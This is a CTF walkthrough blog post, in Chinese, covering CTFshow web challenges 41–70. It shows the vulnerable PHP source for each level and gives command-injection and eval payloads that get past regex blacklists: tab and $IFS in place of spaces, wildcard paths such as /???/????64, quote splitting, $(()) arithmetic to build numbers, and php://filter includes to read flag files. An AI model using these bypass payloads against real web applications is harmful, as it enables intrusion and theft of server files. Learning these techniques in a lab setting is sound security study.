CTFshow-命令执行(2)

文章详细介绍了多个CTFshowWeb系列挑战的解题思路,涉及通过构造特殊字符绕过正则表达式限制,实现代码执行。这些挑战包括使用不同命令、符号、编码方式来读取或执行文件,如利用base64、bzip2命令,以及通过位运算获取数字等。每个关卡都展示了不同的过滤机制和绕过方法。
摘要由CSDN通过智能技术生成

ctfshow-web-41

无字母数字绕过正则表达式

<?php
if(isset($_POST['c'])){
    $c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
        eval("echo($c);");
    }
}else{
    highlight_file(__FILE__);
}
?>

这题思路就是通过特殊字符来构造字母,实现代码执行,这题没有过滤|就用这个来实现。脚本用的yv师傅的

ctfshow web入门 web41_yu22x的博客-CSDN博客
无字母数字绕过正则表达式总结(含上传临时文件、异或、或、取反、自增脚本)_yu22x的博客-CSDN博客
CTFshow-web入门-命令执行 web41 bilibili

php运行后生成一个txt文档,包含所有可见字符的构造结果。接着powershell执行即可。

用法 python exp.py <url>

ctfshow-web-42、43

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
}

>/dev/null 2>&1默认情况是1,也就是等同于1>/dev/null 2>&1。意思就是把标准输出重定向到“黑洞”

这题可以使用命令分隔符来绕过.

payload:?c=tac flag.php||
相关链接: >/dev/null 2>&1 sunyong的博客-CSDN博客

ctfshow-web-44

这题过滤了flag,那么可以用占位符?或者*来绕过.

payload:?c=tac fla?.php||

ctfshow-web-45

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| /i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

这题过滤了空格,用水平制表符%09可以代替空格 ,也可以用${IFS}或$IFS$9来代替,$IFS 表示的是 Linux 下的分隔符,$IFS$9 (1-9)都可以,它是Linux环境变量 $9 是环境变量的第9个值,为啥1-9都行 跟目标操作系统环境有关系.

payload:?c=tac%09f*||

ctfshow-web-46

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

这里过滤了$,所以不能用${IFS}、$IFS$9了,虽然过滤了数字,但是%09还是能用的,因为url再进入服务器前会先解码,%09就成了水平制表符,不是数字.

payload:?c=tac%09fla?.php||

ctfshow-web-47-49

过滤的关键词变多了,但是还是可以用46的方法.

payload:?c=tac%09fla?.php||

ctfshow-web-50

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

直接用重定向 <> 或者 < 来取代空格,那不能用通配符,可以用两个单引号分割,执行的话会自动忽略,也可以用\分割.

payload:?c=tac<fla''g.php||
payload:?c=tac<fla\g.php||

ctfshow-web-51

文件读取命令

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

这题把tac过滤了,那可以用其他命令读取,

读取文件内容的命令比较多: cat tac nl more less head tail od

payload:?c=nl<fla''g.php||

ctfshow-web-52

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

过滤了<>但是把$放出来了,可以把上一关的<换成${IFS}, 看到flag是假的,

用ls${IFS}/|| 查看根目录,发现flag,直接读取

payload:?c=nl${IFS}/fla?||

ctfshow-web-53

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        echo($c);
        $d = system($c);
        echo "<br>".$d;
    }else{
        echo 'no';
    }
}else{
    highlight_file(__FILE__);
}

这题没有黑洞了,先是进行过滤,没有匹配到就输出c的值,再执行命令.

先ls查看,还是有flag.php,用nl${IFS}fla?.php拿到flag

ctfshow-web-54

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

这题把nl也给过滤了,而且没办法用''或\分割来读取文件.

可以使用mv把flag文件改名,再直接访问就行.

mv:用户可以使用mv命令来为文件或目录改名或将文件由一个目录移入另一个目录中

payload:?c=mv${IFS}fla?.php${IFS}a.txt

ctfshow-web-55

无字母rce

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

这题主要是过滤了所有小写字母,那就肯定要无字母rce

方法1,base64 :

因为没有过滤通配符,所以我们可以找带有数字的查看文件命令.

bin目录:

bin为binary的简写主要放置一些 系统的必备执行档例如:cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等

base64这个命令就是将指定的文件的内容以base64加密的形式输出。 我们可以利用 base64 中的64 进行通配符匹配 即 /bin/base64 flag.php

payload:?c=/???/????64 ????.???

方法2,bzip2 :

bzip2是linux下面的压缩文件的命令.

/usr/bin目录:主要放置一些应用软件工具的必备执行档例如c++、g++、gcc、chdrv、diff、dig、du、eject、elm、free、gnome、 zip、htpasswd、kfm、ktop、last、less、locale、m4、make、man、mcopy、ncftp、 newaliases、nslookup passwd、quota、smb、wget等。

先将flag.php文件进行压缩,然后再将其下载.

payload:?c=/???/???/????2 ????.???

再访问/flag.php.bz2下载.

方法3,运用.执行sh命令 :

无字母数字的命令执行(ctfshow web入门 55)_Firebasky的博客-CSDN博客
CTFshow-web入门-命令执行 web55 bilibili
Linux中source命令的用法_simon_dong618的博客
一些不包含数字和字母的webshell

ctfshow-web-56

多过滤了数字,就只能用第三种方法了.

ctfshow-web-57

$(())算数运算构造数字

// 还能炫的动吗?
//flag in 36.php 
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
        system("cat ".$c.".php");
    }
}else{
    highlight_file(__FILE__);
}

这里题目告诉我们flag在36.php里,所以只要让c=36就行

$(())=0 $((~$(())))=-1

$(())代表算数运算:a=1,b=2 $a+$b就等同于$((1+2))

$(())=0 当$(())没有参数时,默认为0

$((~$(())))=-1 取反:b=~a,那么a+b=-1。

$((36)) -> $((~$((-37)))) ->
$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

ctfshow-web-58-65

命令执行,用函数看flag

<?php
 
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

命令执行,突破禁用函数.

前几题能直接连蚁剑,看flag.php,后几题就看不了了.

那知道了flag在flag.php,可以highlight_file、show_source查看flag.

post:c=show_source("flag.php");
可以post: c=include('php://filter/read=convert.base64-encode/resource=flag.php');
也可以post: c=include($_GET[1]); 然后GET传入伪协议查看flag.
或者是post: c=include('flag.php');echo $flag;

ctfshow-web-66、67

scandir 扫描目录

这次再查看flag发现不在这,扫描根目录

c=print_r(scandir("/")); 或者c=var_dump(scandir("/"));

发现有flag.txt ,查看flag,c=highlight_file("/flag.txt");

scandir 扫描目录。
var_dump、print_r 进行输出。
highlight_file、show_source 查看文件。

ctfshow-web-68-70

打开直接没有源码,那前面输出查看方法都不行了.

用之前文件包含的方法,因为是txt文件所以他会直接输出,就不用伪协议了.

post:c=include('/flag.txt');

CTF中,web入门命令执行指的是通过Web应用程序的漏洞,将恶意的命令注入到应用程序中并执行。这样的攻击可以导致未经授权的访问和操纵应用程序的数据和功能。 根据引用中提供的信息,可以看到一些常见的双写绕过技巧,如分号、竖线、双与号等。这些技巧可以用来绕过应用程序对输入参数的限制,从而注入恶意的命令。 引用中提到的payload,其中使用了一个通用的命令执行函数"show_source"来显示指定文件的源代码。这个payload可以用来尝试执行"flag.php"文件的源代码。但前提是要知道有一个名为"flag.php"的文件存在。 另外,引用中提供了另一种payload的示例,其中使用了array_reverse和scandir函数来获取文件目录并显示指定文件的源代码。同样,也可以直接使用show_source('flag.php')来显示"flag.php"文件的源代码。 需要注意的是,命令执行漏洞是非常危险的,因为它可以导致恶意用户执行任意的系统命令。为了保护Web应用程序免受此类攻击,开发人员应该对用户的输入进行严格的验证和过滤,并使用安全的编程实践来防止命令注入漏洞的发生。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *3* [ctfshow web入门之命令执行](https://blog.csdn.net/uuzfumo/article/details/128357863)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *2* [CTFShow Web入门 命令执行](https://blog.csdn.net/qq_19533763/article/details/123910732)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值